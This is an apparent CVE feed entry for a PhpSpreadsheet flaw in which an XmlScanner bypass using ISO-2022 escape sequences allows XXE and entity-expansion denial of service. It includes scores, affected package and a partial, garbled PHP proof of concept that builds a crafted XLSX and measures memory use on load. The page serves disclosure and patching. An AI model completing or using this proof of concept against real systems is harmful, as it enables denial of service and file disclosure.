CVE Feed
8.8 High

PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service

CVE-2026-108358

Summary PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting ' . "\n" . $doctype . ' sst [' . "\n" . ' ' . "\n" . ']>' . "\n" . ' ' . ' ' . $refs . ' '; // Build minimal XLSX $xlsx = new ZipArchive(); $xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE); $xlsx->addFromString('[ContentTypes].xml', ' ' .' ' .' ' .' ' .' ' .' ' .' '); $xlsx->addFromString('rels/.rels', ' ' .' ' .' '); $xlsx->addFromString('xl/workbook.xml', ' ' .' '); $xlsx->addFromString('xl/rels/workbook.xml.rels', ' ' .' ' .' ' .' '); $xlsx->addFromString('xl/worksheets/sheet1.xml', ' ' .' 0 '); $xlsx->addFromString('xl/sharedStrings.xml', $sharedstrings); $xlsx->close(); echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n"; // Load with PhpSpreadsheet $membefore = memorygetusage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx(); $reader->setReadDataOnly(true); $spreadsheet = $reader->load('poc.xlsx'); $peak = memorygetpeakusage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n";…

Assessment

CVSS
8.8 (v4.0)
Severity
High
EPSS
0.00625% chance of exploitation in the next 30 days
Known exploited
Not listed in CISA KEV
Exploit availability
Nothing found in Exploit-DB, Metasploit, Nuclei or public PoC repositories
Published
27 October 2026
Last updated
27 October 2026
Affected
composer · phpoffice/phpspreadsheet
Weakness
CWE-611, CWE-776

CVSS vectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N

At the source

References

Community proofs of concept

No community proof of concept yet. If you have one for a published vulnerability and the right to share it, add it below — it will appear here once reviewed.

Submit a proof of concept
Before you submit *

Query this programmatically

Agents can read this through the MCP endpoint, or over HTTP:

curl https://cve.zerocrew.in/api/cve/CVE-2026-108358